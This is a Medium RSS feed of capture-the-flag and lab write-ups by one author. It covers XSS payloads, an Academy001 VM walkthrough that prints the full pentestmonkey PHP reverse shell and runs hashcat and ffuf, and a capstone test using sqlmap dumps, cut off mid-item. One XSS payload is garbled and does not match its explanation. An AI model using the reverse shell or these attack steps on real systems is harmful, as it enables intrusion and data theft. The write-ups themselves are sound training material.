<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed Nazeer on Medium]]></title>
        <description><![CDATA[Stories by Ahmed Nazeer on Medium]]></description>
        <link>https://medium.com/@ahmadnazir19470?source=rss-a2cfab60e6c5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*iFh6flsQqEQnJhL_GsTfAQ.jpeg</url>
            <title>Stories by Ahmed Nazeer on Medium</title>
            <link>https://medium.com/@ahmadnazir19470?source=rss-a2cfab60e6c5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 23:28:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ahmadnazir19470/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Cross-Site Scripting (XSS) Writeup]]></title>
            <link>https://ahmadnazir19470.medium.com/cross-site-scripting-xss-writeup-5a4f8462e8ce?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/5a4f8462e8ce</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Mon, 08 Jul 2024 16:19:59 GMT</pubDate>
            <atom:updated>2024-07-12T06:57:12.267Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vab7LWuY_syIVz9asae99A.png" /></figure><p><strong>Introduction</strong><br>Cross-site scripting (XSS) is a prevalent web security vulnerability that significantly jeopardizes the integrity of user interactions with a web application. By exploiting XSS, attackers can bypass the same origin policy — a security measure intended to isolate different websites from one another. This breach allows attackers to impersonate legitimate users, execute any actions the user can perform, and access the user’s data. If the compromised user has elevated privileges, the attacker might obtain complete control over the application’s functionalities and data.</p><p><strong>How Does XSS Work?</strong><br>XSS vulnerabilities are typically exploited by injecting malicious scripts into a vulnerable website, which then returns these scripts to users’ browsers. When these malicious scripts execute within a user’s browser, the attacker gains the ability to fully manipulate the user’s interactions with the application. This manipulation can include stealing sensitive information, hijacking sessions, defacing websites, or distributing malware.</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>Lab 1: Reflected XSS into HTML Context with Nothing Encoded</em></strong></p><p><strong>Overview</strong><br>In this lab, we explore a fundamental security vulnerability known as Reflected Cross-Site Scripting (XSS). The vulnerability is found within the search functionality of a web application. Our objective is to exploit this vulnerability to execute a cross-site scripting attack that triggers a JavaScript alert function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*X6ffvqeDebIJ_oipZaqbCQ.png" /></figure><p><strong>Steps to Exploit the Vulnerability</strong><br><strong>1-Identifying the Vulnerability</strong></p><ul><li>The first step in this lab is to understand the nature of the reflected XSS vulnerability present in the application. Reflected XSS occurs when user input is immediately returned by a web application without sufficient validation or encoding. In this scenario, the search functionality of the web application reflects the user’s input directly into the HTML response.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vGZ8N1oYZJ4SDO51BaR0rw.png" /></figure><p><strong>2-Executing the Attack</strong></p><ul><li>To demonstrate the vulnerability, we need to inject a script that will be executed by the browser when the search results are displayed. The following steps outline the process:</li></ul><p><strong>3-Open the Target Web Application:</strong></p><ul><li>Navigate to the web application’s search page.</li></ul><p><strong>4-Input the Malicious Script:</strong></p><ul><li>Copy and paste the following script into the search box:</li></ul><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V4_QsWuAYCsleEWGCKibwg.png" /></figure><p><strong>5-Trigger the Search:</strong></p><ul><li>Click the “Search” button to submit the input.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IA_x7wr4UJjdFu-KXrgkaQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6aCMXH4V5vr1AkMSTgWgA.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>Lab 2: Stored XSS into HTML Context with Nothing Encoded</em></strong></p><p><strong>Introduction</strong></p><ul><li>This report outlines the identification and exploitation of stored cross-site scripting (XSS) vulnerability in the comment functionality of a web application. Stored XSS vulnerabilities occur when an application stores user input that is not properly sanitized or encoded, leading to the execution of malicious scripts when the data is viewed by others.</li></ul><p><strong>Objective</strong></p><ul><li>The primary objective of this exercise is to exploit the stored XSS vulnerability by submitting a comment that triggers an alert function when the blog post is viewed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*c4xxznc_cVJgdv02Zvt_EA.png" /></figure><p><strong>Steps to Exploit the Vulnerability</strong><br><strong>1-Navigate to the Comment Section</strong></p><ul><li>Access the web application and navigate to the blog post where the comment functionality is available.</li></ul><p><strong>2-Submit a Malicious Comment</strong></p><ul><li>In the comment box, enter the following script:</li></ul><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><p><strong>3-Enter Additional Required Information</strong></p><ul><li><strong>Name:</strong> Enter a valid name.<br><strong>Email: </strong>Enter a valid email address.<br><strong>Website:</strong> Enter a valid website URL.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*sQCdHG18b1dTZQkiSqCRvw.png" /></figure><p><strong>4-Post the Comment</strong></p><ul><li>Click the “Post comment” button to submit the comment.</li></ul><p><strong>5-Verify the Exploit</strong></p><ul><li>Navigate back to the blog post. If the stored XSS vulnerability exists, the alert function should be triggered, displaying a popup with “1”.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*schW7QbmqReDOfEmtqt6Tg.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>Lab 3: Exploiting DOM-based XSS in document.write using location.Search</em></strong></p><p>In this lab, we explore DOM-based cross-site scripting (XSS) vulnerability present in a web application&#39;s search query tracking functionality. This vulnerability leverages the document. write method in JavaScript, which dynamically writes content to the webpage. The data used by the document. write is sourced from the location. search for an element of the URL that an attacker can manipulate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*WyK92V4gtbyHY84yrE5UOw.png" /></figure><p>To successfully exploit this vulnerability and perform a cross-site scripting attack, our goal is to inject a payload that triggers the alert function.</p><p><strong>Steps to Exploit the Vulnerability</strong><br><strong>1-Enter a Random Alphanumeric String into the Search Box:</strong></p><ul><li>Start by navigating to the search functionality of the web application and inputting a random alphanumeric string, such as <strong>testing321</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbSrK1mbH7RaSd8-u9UQjQ.png" /></figure><p><strong>2-Inspect the Resulting Element:</strong></p><ul><li>Right-click on the page and select “Inspect” to open the browser’s developer tools. Locate the part of the DOM where your input is reflected. You should find that your input has been placed within an img tag’s src attribute.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EMuhaohgPS-_P5U_CIYZpw.png" /></figure><p><strong>3-Crafting the Malicious Payload:</strong></p><ul><li>To exploit this vulnerability, we need to break out of the img tag’s src attribute and inject our JavaScript payload. The following payload can be used:</li></ul><pre>&quot;&gt;&lt;script&gt;alert(1)&lt;/svcript&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*07hiJ-y-mdT6O57OrdGnvA.png" /></figure><p><strong>4-Executing the Attack:</strong></p><ul><li>Modify the search query in the URL to include the payload.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AJ_WfqXKM9IBcJ-2VW8vag.png" /></figure><ul><li>When this URL is accessed, the document.write method will process the location.search data, resulting in the img tag being closed and a new svg tag being opened. The onload attribute of the svg tag will then execute the alert(1) function, demonstrating the XSS attack.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2VWlY0T-rGJhy5ZnJFGEnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9MO6xVF41zbW-I-PO6dRcw.png" /></figure><ul><li>By following these steps, the cross-site scripting vulnerability in the web application’s search functionality is successfully exploited. This highlights the importance of properly sanitizing user inputs and implementing secure coding practices to mitigate such vulnerabilities.</li></ul><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>Lab 4: DOM XSS in innerHTML Sink Using Source location.search</em></strong></p><p>This lab demonstrates a DOM-based cross-site scripting (XSS) vulnerability within the search functionality of a blog. The vulnerability arises from the unsafe handling of user input, specifically through the assignment of data from location.search to the innerHTML of a div element.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*ulmLCY7jH4cRpFoVnRcUvQ.png" /></figure><p><strong>Objective:</strong></p><ul><li>To exploit this vulnerability, you need to execute a cross-site scripting attack that triggers the alert function.</li></ul><p><strong>Steps to Reproduce:</strong></p><p><strong>1-Identify the Vulnerability:</strong></p><ul><li>The application uses innerHTML to render content from the URL query string (location.search) into a div element. This makes it susceptible to DOM-based XSS attacks because any malicious script included in the query string can be executed within the context of the application.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*07hiJ-y-mdT6O57OrdGnvA.png" /></figure><p><strong>2-Craft the Payload:</strong></p><ul><li>To trigger the alert function using this vulnerability, construct a payload that will cause an error in an HTML element, which subsequently executes JavaScript. The following payload is effective:</li></ul><pre>&lt;img src=1 onerror=alert(1)&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0wY8MlK0WEU32izM9hj4RA.png" /></figure><p><strong>3-Inject the Payload:</strong></p><ul><li>Navigate to the search functionality of the blog.</li><li>Enter the crafted payload <strong>&lt;img src=1 onerror=alert(1)&gt;</strong> into the search box.</li><li>Click the “Search” button.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xjGr7-VAuVR7rIotHbKJQw.png" /></figure><p><strong>4-Observe the Result:</strong></p><ul><li>Upon clicking “Search,” the application attempts to render the invalid src attribute for the img tag. This triggers the onerror event handler, which executes the alert(1) function, displaying an alert box.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ME8KqObPKhg6q-SX712hUQ.png" /></figure><ul><li>By following these steps, you successfully exploit the DOM-based XSS vulnerability in the blog’s search functionality. This exercise highlights the importance of validating and sanitizing user input, especially when rendering it with methods like innerHTML that can execute embedded scripts.</li></ul><p><strong>Conclusion</strong></p><p>In this analysis, we delved into the critical aspects of Cross-Site Scripting (XSS) vulnerabilities within web applications. XSS continues to be a dominant security threat, enabling attackers to insert harmful scripts into web pages that are subsequently viewed by unsuspecting users. Recognizing and addressing these vulnerabilities is essential for both developers and security experts to ensure robust security measures are in place. By understanding the mechanics and implications of XSS, professionals can better protect applications and maintain the integrity and safety of user interactions online</p><p>This write-up is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5a4f8462e8ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Comprehensive Walkthrough for Exploiting Academy001 Vulnerable Machine]]></title>
            <link>https://ahmadnazir19470.medium.com/comprehensive-walkthrough-for-exploiting-academy001-vulnerable-machine-41cafc71ea70?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/41cafc71ea70</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Thu, 04 Jul 2024 07:01:22 GMT</pubDate>
            <atom:updated>2024-07-04T07:03:38.888Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*BWWHo4aoBAjV2jAj.jpeg" /></figure><h4>1. Checking Network Integration</h4><p><strong>Step 1: Ensure Network Connectivity</strong> First, we must verify that the attack machine (Kali Linux) and the vulnerable machine (Academy001) can communicate over the network.</p><p><strong>Find IP Addresses:</strong></p><ul><li><strong>Attack Machine:</strong> Use the ifconfig command to find the IP address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*nrdUMz79IZx6j4jgLlIGMQ.png" /></figure><ul><li><strong>Vulnerable Machine:</strong> Use the ip addr command to find its IP address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*WWddzEn2TQjpdUjy5H8OeQ.png" /></figure><p><strong>Ping Test:</strong></p><ul><li><strong>From Vulnerable Machine to Attack Machine:</strong> On the vulnerable machine, run ping 10.0.2.15and stop with Ctrl + C.</li><li><strong>From Attack Machine to Vulnerable Machine:</strong> On Kali Linux, run ping 192.168.100.44and stop with Ctrl + C.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-s3k2nfSrdAa1I4yLMKWpA.png" /></figure><p>Successful ping responses in both directions confirm network connectivity. If there are issues, check network configurations and firewall settings.</p><h4>2. Scanning the Vulnerable Machine</h4><p><strong>Step 2: Conduct a Network Scan</strong> Use nmap to scan the vulnerable machine for open ports and services:</p><pre>nmap -A -sC -sV -O 10.0.2.15</pre><ul><li>-A: Enables aggressive scanning.</li><li>-sC: Uses default NSE scripts.</li><li>-sV: Version detection.</li><li>-O: OS detection.</li><li>10.0.2.15: IP address of the vulnerable machine.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hm_XNCwyjlwM7lgdRjyE3A.png" /></figure><h4>3. Anonymous FTP Login</h4><p><strong>Step 3: Exploit FTP Service</strong> The scan results indicate “Anonymous FTP login allowed.” This means the FTP server permits logins without authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*J4weSf3bdoM74La7pC6oQw.png" /></figure><p><strong>Login to FTP Server:</strong></p><pre>ftp 192.168.100.44</pre><p>Use “anonymous” for both the username and password. Navigate the server with FTP commands (ls, cd, get, put).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IJO573zaQIQP9G2htf0Vfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*K-GdVIirJdFF7UeeuF4jNw.png" /></figure><p><strong>Download Sensitive Files:</strong> Download the note.txt file:</p><pre>get note.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LcjdWa8vngO7c3bhnSrLiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*dGdR9kV29ohIS0nWFBmyEQ.png" /></figure><p>Inspect the file contents using the cat command:</p><pre>cat note.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_OxMefk8jDIP5ys97E9DaA.png" /></figure><h4>4. Cracking Password Hashes with Hashcat</h4><p><strong>Step 4: Crack the Retrieved Hash</strong> Use Hashcat to crack the password hash found in note.txt:</p><ol><li>Identify the hash type with hash-identifier.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*BpS00f1STO27DfEyxZAhkQ.png" /></figure><p>2. Save the hash to <strong>pass.txt</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Xd9yTyQy3VHG4lHMyimDew.png" /></figure><p><strong>Crack the Hash:</strong></p><pre>sudo hashcat -m 0 -a 0 -o cracked_pass.txt pass.txt /usr/share/wordlists/rockyou.txt</pre><ul><li>-m 0: Specifies MD5 hash type.</li><li>-a 0: Dictionary attack mode.</li><li>-o cracked.txt: Output file for cracked passwords.</li><li>hash.txt: File containing the hash.</li><li>/usr/share/wordlists/rockyou.txt: Path to the wordlist.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wSEWJ7_wzXmBpZbP2s_pbA.png" /></figure><p><strong>View the cracked password:</strong></p><pre>cat cracked_pass.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*RquAMbmN9Nfxs72Gin5qdA.png" /></figure><h4>5. Discovering Hidden Resources with FFuF</h4><p><strong>Step 5: Directory Fuzzing</strong> Check the target IP in a web browser to see if a web server is running. Use FFuF to discover hidden directories:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*d6WoLVd_QDm7InqJ-duR3Q.png" /></figure><pre>ffuf -u http://10.0.2.15/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</pre><ul><li>-u: Target URL with placeholder FUZZ.</li><li>-w: Path to the wordlist.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*kvWkNE3kLXVIP45la8GSkA.png" /></figure><p>Access discovered directories in the browser.</p><p>For <strong>/academy</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*sBoGyVLOapEb77N7gYK3xQ.png" /></figure><h4>6. Gaining Web Access and Exploiting Vulnerabilities</h4><p><strong>Step 6: Web Login</strong> Use the student registration number and cracked password from note.txt to log into the web application at <a href="http://10.0.2.15/academy">http://10.0.2.15/academy</a>.<br>StudentRegNo: <strong>10201321</strong><br>CrackedPass: <strong>student</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*tMJXjqvJM4_g0QbNzCnDnQ.png" /></figure><p><strong>Update student information</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3Y0ttyYfdO7sy-PEm5xJCw.png" /></figure><h4>7. Establishing a Reverse Shell</h4><p><strong>Step 8: Set Up a Listener</strong> On the Kali machine, start a listener:</p><pre>nc -lvp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*f0rHcfneN9TCXYFXOyikpg.png" /></figure><p><strong>Step 9: Upload and Execute the Script</strong> Upload reverse_shell.php to the vulnerable machine and trigger it.</p><p><strong>Reverse_Shell_Script:</strong></p><pre>&lt;?php<br>// php-reverse-shell - A Reverse Shell implementation in PHP<br>// Copyright (C) 2007 pentestmonkey@pentestmonkey.net<br>//<br>// This tool may be used for legal purposes only.  Users take full responsibility<br>// for any actions performed using this tool.  The author accepts no liability<br>// for damage caused by this tool.  If these terms are not acceptable to you, then<br>// do not use this tool.<br>//<br>set_time_limit (0);<br>$VERSION = &quot;1.0&quot;;<br>$ip = &#39;10.0.2.15&#39;;  // CHANGE THIS IP to your kali machine IP <br>$port = 4444;       // CHANGE THIS port to the port of your choice<br>$chunk_size = 1400;<br>$write_a = null;<br>$error_a = null;<br>$shell = &#39;uname -a; w; id; /bin/sh -i&#39;;<br>$daemon = 0;<br>$debug = 0;<br><br>if (function_exists(&#39;pcntl_fork&#39;)) {<br> // Fork and have the parent process exit<br> $pid = pcntl_fork();<br> <br> if ($pid == -1) {<br>  printit(&quot;ERROR: Can&#39;t fork&quot;);<br>  exit(1);<br> }<br> <br> if ($pid) {<br>  exit(0);  // Parent exits<br> }<br><br> // Make the current process a session leader<br> // Will only succeed if we forked<br> if (posix_setsid() == -1) {<br>  printit(&quot;Error: Can&#39;t setsid()&quot;);<br>  exit(1);<br> }<br><br> $daemon = 1;<br>} else {<br> printit(&quot;WARNING: Failed to daemonise.  This is quite common and not fatal.&quot;);<br>}<br><br>// Change to a safe directory<br>chdir(&quot;/&quot;);<br><br>// Remove any umask we inherited<br>umask(0);<br><br>//<br>// Do the reverse shell...<br>//<br><br>// Open reverse connection<br>$sock = fsockopen($ip, $port, $errno, $errstr, 30);<br>if (!$sock) {<br> printit(&quot;$errstr ($errno)&quot;);<br> exit(1);<br>}<br><br>// Spawn shell process<br>$descriptorspec = array(<br>   0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),  // stdin is a pipe that the child will read from<br>   1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;),  // stdout is a pipe that the child will write to<br>   2 =&gt; array(&quot;pipe&quot;, &quot;w&quot;)   // stderr is a pipe that the child will write to<br>);<br><br>$process = proc_open($shell, $descriptorspec, $pipes);<br><br>if (!is_resource($process)) {<br> printit(&quot;ERROR: Can&#39;t spawn shell&quot;);<br> exit(1);<br>}<br><br>// Set everything to non-blocking<br>// Reason: Occsionally reads will block, even though stream_select tells us they won&#39;t<br>stream_set_blocking($pipes[0], 0);<br>stream_set_blocking($pipes[1], 0);<br>stream_set_blocking($pipes[2], 0);<br>stream_set_blocking($sock, 0);<br><br>printit(&quot;Successfully opened reverse shell to $ip:$port&quot;);<br><br>while (1) {<br> // Check for end of TCP connection<br> if (feof($sock)) {<br>  printit(&quot;ERROR: Shell connection terminated&quot;);<br>  break;<br> }<br><br> // Check for end of STDOUT<br> if (feof($pipes[1])) {<br>  printit(&quot;ERROR: Shell process terminated&quot;);<br>  break;<br> }<br><br> // Wait until a command is end down $sock, or some<br> // command output is available on STDOUT or STDERR<br> $read_a = array($sock, $pipes[1], $pipes[2]);<br> $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);<br><br> // If we can read from the TCP socket, send<br> // data to process&#39;s STDIN<br> if (in_array($sock, $read_a)) {<br>  if ($debug) printit(&quot;SOCK READ&quot;);<br>  $input = fread($sock, $chunk_size);<br>  if ($debug) printit(&quot;SOCK: $input&quot;);<br>  fwrite($pipes[0], $input);<br> }<br><br> // If we can read from the process&#39;s STDOUT<br> // send data down tcp connection<br> if (in_array($pipes[1], $read_a)) {<br>  if ($debug) printit(&quot;STDOUT READ&quot;);<br>  $input = fread($pipes[1], $chunk_size);<br>  if ($debug) printit(&quot;STDOUT: $input&quot;);<br>  fwrite($sock, $input);<br> }<br><br> // If we can read from the process&#39;s STDERR<br> // send data down tcp connection<br> if (in_array($pipes[2], $read_a)) {<br>  if ($debug) printit(&quot;STDERR READ&quot;);<br>  $input = fread($pipes[2], $chunk_size);<br>  if ($debug) printit(&quot;STDERR: $input&quot;);<br>  fwrite($sock, $input);<br> }<br>}<br><br>fclose($sock);<br>fclose($pipes[0]);<br>fclose($pipes[1]);<br>fclose($pipes[2]);<br>proc_close($process);<br><br>// Like print, but does nothing if we&#39;ve daemonised ourself<br>// (I can&#39;t figure out how to redirect STDOUT like a proper daemon)<br>function printit ($string) {<br> if (!$daemon) {<br>  print &quot;$string\n&quot;;<br> }<br>}<br><br>?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*oqJsP0okctI0EVN7oe6sXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*f4i7wm5uKt4t9I6Y3BTicg.png" /></figure><p><strong>Step 10: Gain System Access</strong> Upon execution, the reverse shell connects back to the Kali machine, providing system access.</p><p><strong>Verify Access:</strong></p><pre>whoami</pre><pre>ip addr</pre><pre>ping google.com</pre><h3>Conclusion</h3><p>This walkthrough demonstrates a step-by-step approach to exploiting the Academy001 vulnerable machine, from network integration to gaining system access via a reverse shell. Ensure you use these techniques responsibly and within legal boundaries.</p><p>This writeup is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41cafc71ea70" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling My First Capstone Project at KnowledgeStreams]]></title>
            <link>https://ahmadnazir19470.medium.com/unveiling-my-first-capstone-project-at-knowledgestreams-57ac2d67a67e?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/57ac2d67a67e</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Sat, 29 Jun 2024 13:30:22 GMT</pubDate>
            <atom:updated>2024-06-29T13:31:43.934Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*IbGkX0K8qtEN7K0zogWK-w.png" /></figure><p><strong>Overview</strong><br>In this project, we simulate a real-world security assessment by acting as an attacker to probe a website’s defenses for vulnerabilities. Our goal is to uncover weaknesses using various exploitation techniques, ultimately helping to improve the website’s overall protection against malicious attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6iOhnMD9n6gHW-GA248FmA.png" /></figure><h3><strong>Now, let’s start</strong></h3><h4><strong>Steps Involved</strong></h4><p><strong>1-Identifying Input Points:</strong></p><ul><li>Start by identifying different input points on the website.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LmMhglZPiS0wg0EgcH4p0A.png" /></figure><p>We start by identifying various input points on the website. First, we’ll focus on Cross-Site Scripting (XSS). This attack involves injecting a malicious script into input fields (such as search bars, comment sections, or URL parameters) that do not properly sanitize user inputs. By testing for XSS, we aim to uncover potential vulnerabilities in the website’s input handling.</p><blockquote><strong>Two types of XSS, one is Stored XSS, and the second is Reflected XSS.</strong></blockquote><p><strong>2-Cross-Site Scripting (XSS):</strong></p><p><strong>Stored XSS:</strong></p><ul><li>Navigate to the comment section.</li><li>Inject a simple alert script:</li></ul><pre>&lt;script&gt;alert(1)&lt;/script&gt;.</pre><ul><li>If an alert message appears after submission, a Stored XSS vulnerability is present.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GR7dlDKQtxLy1GnV2Or8CQ.png" /></figure><ul><li>After submitting the script, when we get an alert message, it means there’s a vulnerability.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sN9-MVSHg86UnGh9rp9UtA.png" /></figure><blockquote><strong>Now, let’s move on to reflected XSS.</strong></blockquote><p><strong>Reflected XSS:</strong></p><ul><li>Use a URL to test Reflected XSS</li></ul><pre>http://192.168.0.108/capstone/?search=&lt;script&gt;alert(10)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mgEyJG8pHUXRl6VZE57ISg.png" /></figure><p><strong>3-SQL Injection:</strong></p><p>SQLMap is a robust, open-source tool used in cybersecurity for identifying and exploiting SQL Injection vulnerabilities in web applications.</p><ul><li>Use SQLMap to detect SQL Injection vulnerabilities.</li><li>Command:</li></ul><pre>sqlmap -u http://192.168.0.108/capstone/coffe.php?cofee=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Be3FDoEnM0Ib0YenjSEPiA.png" /></figure><ul><li>View potential payloads.</li></ul><p><strong>List database tables:</strong></p><pre>sqlmap -u http://192.168.0.108/capstone/coffe.php?cofee=1 - tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*BNMFkQQ-VKNQlKzD9VgEfA.png" /></figure><p><strong>Here are the tables.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*E-nN0aUQKnchWAVhXhqJjA.png" /></figure><p><strong>Dump data from tables:</strong></p><pre>sqlmap -u http://192.168.0.108/capstone/coffe.php?cofee=1 - dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*0v6DmD7F-YpPQj649dBGIQ.png" /></figure><p>There were <strong>three data tables.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*v_qgW86Bsfdp82-n9jEM1A.png" /><figcaption>First table</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*NmwpJa3P1UWOMUAyhg-ZUQ.png" /><figcaption>Second table</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*mL8pbomP66DNPiuoJdBJTw.png" /><figcaption>Third table</figcaption></figure><p>Relevant table data was extracted.</p><blockquote><strong>Now I’ll use Hashcat to crack the passwords. It takes time so I’m just going to crack 1 password.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*dwOTmlOm9XboPcaJsc-3cw.png" /></figure><p><strong>4-Password Cracking with Hashcat:</strong></p><ul><li>Use Hashcat to crack passwords.</li><li>Copy the hashed password into a text file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/377/1*6HsZvtJXuXbTyb6jsirNcw.png" /><figcaption>Created Txt File name pass1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yqvVDLNIYaP_TZg5JA6VGA.png" /><figcaption>Stored Hashed Value in that file</figcaption></figure><ul><li>Command:</li></ul><pre>hashcat -m 3200 pass1 ./rockyou.txt</pre><ul><li>hashcat: used for cracking passwords</li><li>-m 3200: specifies the hash type (in this case, bcrypt)</li><li>pass1: file containing hashed passwords</li><li>./rockyou.txt: file containing a list of potential passwords</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cPWYMpPTWmtbIMlDWJWCdg.png" /></figure><ul><li>Successfully cracked the <strong>password </strong>and <strong>logged in</strong>!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lTiWUO1z-xwfcM8rB7Oijw.png" /><figcaption>Cracked Password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKgXijWHCXQbW8y-WUE8sg.png" /><figcaption>Successfully Login</figcaption></figure><blockquote><strong>Same process for admin. Here we get the admin username and password.</strong></blockquote><ul><li>Login using the cracked credentials:</li><li><strong>Username: jeremy</strong></li><li><strong>Password: captain1.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTbDuxqlveuPp91ANkC9BA.png" /></figure><blockquote><strong>Now we are going to apply directory busting to see what we are getting.</strong></blockquote><p><strong>5-Directory Busting:</strong></p><ul><li>Use Gobuster to find hidden directories.</li><li>Command:</li></ul><pre>gobuster dir -u http:/192.168.0.108/capstone -w /usr/share/wordlists/directory-list-2.3-medium.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UMhxKDEgByb3KY9eLn07Pg.png" 